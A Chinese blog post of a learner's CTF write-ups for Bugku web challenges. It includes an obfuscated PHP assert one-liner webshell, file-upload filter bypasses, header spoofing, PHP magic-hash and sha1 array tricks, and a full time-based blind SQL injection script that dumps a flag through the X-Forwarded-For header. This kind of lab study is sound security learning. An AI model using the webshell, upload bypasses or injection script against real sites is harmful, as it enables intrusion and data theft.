Bugku-web(三)

welcom to bugku

题目好像不能访问了,看看其他博主的博客吧
https://www.cnblogs.com/Pinging/p/8278168.html

过狗一句话

在这里插入图片描述

<?php 
$poc="a#s#s#e#r#t"; 
$poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])
?>

explode() 函数把字符串打散为数组。

害,题目被删了,是我来晚了
在这里插入图片描述附上一篇博客
https://www.cnblogs.com/0yst3r-2046/p/10781215.html

PHP代码执行漏洞可以将代码注入到应用中,最终到webserver去执行。该漏洞主要存在于eval()、assert()、preg_replace()、call_user_func()、array_map()以及动态函数中。

本题要点:php scandir()函数、assert代码执行漏洞

php中读取目录下文件的方法:scandir() 函数返回指定目录中的文件和目录的数组。
在这里插入图片描述也可以使用print_r(glob("."))
glob() 函数返回一个包含匹配指定模式的文件名或目录的数组。

字符正则

 <?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){ 
  die('key is: '.$key);
}
?> 

highlight_file() 函数对文件进行语法高亮显示。

preg_match 函数用于执行一个正则表达式匹配。

trim() 函数移除字符串两侧的空白字符或其他预定义字符。
如果被省略,则移除以下所有字符:

"\0" - NULL
"\t" - 制表符
"\n" - 换行
"\x0B" - 垂直制表符
"\r" - 回车
" " - 空格

关键在于正则表达式的理解

/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i

. 匹配除 “\n” 之外的任何单个字符

  •                             匹配它前面的表达式0次或多次,等价于{0,}
    

{4,7} 最少匹配 4 次且最多匹配 7 次,结合前面的 . 也就是匹配 4 到 7 个任意字符

/ 匹配 / ,这里的 \ 是为了转义

[a-z] 匹配所有小写字母

[:punct:] 匹配任何标点符号

/i 表示不分大小写

通过 id 传参,并且要符合上面的正则表达式,key就会显示,构造payload:
http://123.206.87.240:8002/web10/?id=keykeyabcdkey:/a/keya,

在这里插入图片描述

前女友(SKCTF)

无法连接到服务器

login1(SKCTF)

无法连接到服务器,打击我做题的兴致

你从哪里来

终于没崩了
在这里插入图片描述你来自谷歌吗,这里想到了修改http请求头

HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般
会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。简而言之,HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器藉此可以获得一些信息用于处理。比如从我主页上链接到一个朋友那里,他的服务器就能够从HTTPReferer中统计出每天有多少用户点击我主页上的链接访问他的网站。Referer的正确英语拼法是referrer。由于早期HTTP规范的拼写错误,为了保持向后兼容就将错就错了。其它网络技术的规范企图修正此问题,使用正确拼法,所以目前拼法不统一。

在这里插入图片描述

md5_collision(NUPT_CTF)

请输入一个a
在这里插入图片描述之前没有了解过md5碰撞
参考博客https://blog.csdn.net/qq_41533331/article/details/90905984

什么是md5碰撞?

根据密码学的定义,如果内容不同的明文,通过散列算法得出的结果(密码学称为信息摘要)相同,就称为发生了“碰撞”。
散列算法的用途不是对明文加密,让别人看不懂,而是通过对信息摘要的比对,判断原文是否被篡改。所以说对摘要算法来说,它只要能找到碰撞就足以让它失效,并不需要找到原文。
举一个例子,
Linux的用户安全机制,只要得到用户密码文件(其中记录了密码的MD5),然后随便生成一个碰撞的原文(不一定要跟原密码相同),就可以用这个密码登录了。

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

常见的md5值

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469
s1885207154a
0e509367213418206700842008763514

0e861580163291561247404381396064

s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752

s1091221200a
0e940624217856561557816327384675

s155964671a

考虑到与md5进行碰撞,可以参考下面这篇文章,记录了关于0e开头的md5值总结:

https://blog.csdn.net/dyw_666666/article/details/82348564

在这里插入图片描述

程序员本地网站

在这里插入图片描述用X-Forwarded-For: 127.0.0.1伪造本地地址
在这里插入图片描述

各种绕过

又到了看代码的时候了

<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);//urlencode()编码:对字符串中除了 -_. 之外的所有非字母数字字符都将被替换成百分号(%)后跟两位十六进制数,空格则编码为加号(+)。urldecode()解码:还原 URL 编码字符串。
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
    if ($_GET['uname'] == $_POST['passwd'])

        print 'passwd can not be uname.';

    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))//sha1() 函数计算字符串的 SHA-1 散列。

        die('Flag: '.$flag);

    else

        print 'sorry!';

}
?> 

uname不能和passwd相等,但是sha1之后要相等,sha1只对字符型进行处理,是数组的话返回false

构造payload:
在这里插入图片描述

web8

<?php
extract($_GET);//extract() 函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

该函数返回成功设置的变量数目。
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

方法一:

根据提示访问flag.txt
在这里插入图片描述 a c 是 指 f l a g . t x t 中 的 内 容 f l a g s , ac是指flag.txt中的内容flags, acflag.txtflagsfn指的是flag.txt这个文件
构造payload:

http://123.206.87.240:8002/web8/?ac=flags&fn=flag.txt

在这里插入图片描述方法二:

想得到flag,要达到下面三个条件:

1、 就要让ac的值不为空
2、 f的值从文件fn中获取
3、 ac的值要恒等于f的值

在这里插入图片描述

细心

害是我不配做的题

求getsgell

在这里插入图片描述随便传一张图片
在这里插入图片描述在这里插入图片描述应该存在文件上传漏洞,日常抓包看看
在这里插入图片描述

这道题是后缀名黑名单检测和类型检测

    1. 把请求头里面的Content-Type字母改成大写进行绕过

    2. .jpg后面加上.php5其他的都被过滤了好像

如果是walf严格匹配,通过修改Content-type后字母的大小写可以绕过检测,使得需要上传的文件可以到达服务器端,而服务器的容错率较高,一般我们上传的文件可以解析。然后就需要确定我们如何上传文件,在分别将后缀名修改为php2,
php3, php4, php5, phps, pht, phtm,
phtml(php的别名),发现只有php5没有被过滤,成功上传,得到flag

在这里插入图片描述如果只修改content-type的大小写,发现jpg格式的文件上传了
在这里插入图片描述

insert into注入

error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

每次sql注入的题目好像一上手就感觉挺难的,还是没学到家
参考大佬写的python脚本

#-*- encoding: utf-8 -*-
#字符长度直接手工测的
import requests
url="http://120.24.86.145:8002/web15/"
flag=""

#data = 11'  and (case when (length((select group_concat(table_name) from information_schema.tables where table_name=database()))=14) then sleep(4) else 1 end)) #
#爆表名 长度为14
#data = "11'and (case when (substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ) from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"
#client_ip,flag

#data = 11'  and (case when (length((select group_concat(column_name) from information_schema.columns where table_name='flag'))=4) then sleep(4) else 1 end)) #
#爆字段 长度为4
#data = "11' and (case when (substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"
#flag

#data = 11'  and (case when (length((select group_concat(flag) from flag))=32) then sleep(4) else 1 end)) #
#爆内容 长度为32
#data = "11' and (case when (substr((select group_concat(flag) from flag) from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"

for i in range(1,33):
    for str1 in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,_!@#$%^&*.":
        data = "11' and (case when (substr((select group_concat(flag) from flag) from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"
        # print data
        headers = {"x-forwarded-for":data}
        try:
            result = requests.get(url,headers=headers,timeout=3)
        except requests.exceptions.ReadTimeout, e:
            flag += str1
            print flag
            break
print 'flag:' + flag

值得注意的是,这里要用case when exp1 then sleep(4) else1 end代替if(exp1,exp2,exp3)来绕过",“的限制,用substr (str) from 1 for 来代替substr()函数来绕过”,"的限制
在这里插入图片描述

这是一个神奇的登录框

确实很神奇,又崩了

多次

要绝望了,bugku说:“我是个弃儿”
在这里插入图片描述

PHP_encrypt_1(ISCCCTF)

是一道代码审计题

<?php
function encrypt($data,$key)
{
    $key = md5('ISCC');
    $x = 0;
    $len = strlen($data);
    $klen = strlen($key);
    for ($i=0; $i < $len; $i++) { 
        if ($x == $klen)
        {
            $x = 0;
        }
        $char .= $key[$x];
        $x+=1;
    }
    for ($i=0; $i < $len; $i++) {
        $str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
    }
    return base64_encode($str);
}
?>

解题思路:
提交的flag作为一个字符串,赋值给$data传入这个脚本之后,得到了上面给出的字符串:fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=

我们要做的就是逆向找出这个flag

密码学还没学、、md5的加密和解密还不会

参考大佬写的代码

<?php
function decrypt($str) {
    $mkey = "729623334f0aa2784a1599fd374c120d";
    $klen = strlen($mkey);
    $tmp = $str;
    $tmp = base64_decode($tmp);  // 对 base64 后的字符串 decode
    $md_len = strlen($tmp); //获取字符串长度
    for ($i=0; $i < $md_len; $i++) {  //  取二次加密用 key;
        if ($x == $klen)  // 数据长度是否超过 key 长度检测
            $x = 0;
        $char .= $mkey[$x];  // 从 key 中取二次加密用 key
        $x+=1;
    }
    $md_data = array();
    for($i=0;$i<$md_len;$i++) { // 取偏移后密文数据
        array_push($md_data, ord($tmp[$i]));
    }
    $md_data_source = array();
    $data1 = "";
    $data2 = "";
    foreach ($md_data as $key => $value) { // 对偏移后的密文数据进行还原
        $i = $key;
        if($i >= strlen($mkey)) {$i = $i - strlen($mkey);}
        $dd = $value;
        $od = ord($mkey[$i]);
        array_push($md_data_source,$dd);
        $data1 .= chr(($dd+128)-$od);  // 第一种可能, 余数+128-key 为回归数
        $data2 .= chr($dd-$od);  // 第二种可能, 余数直接-key 为回归数
    }
    print "data1 => ".$data1."<br>\n";
    print "data2 => ".$data2."<br>\n";
}
$str = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=";
decrypt($str);
?>

后面的题目都涉及到代码能力,可见,学好php和python是多么重要

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值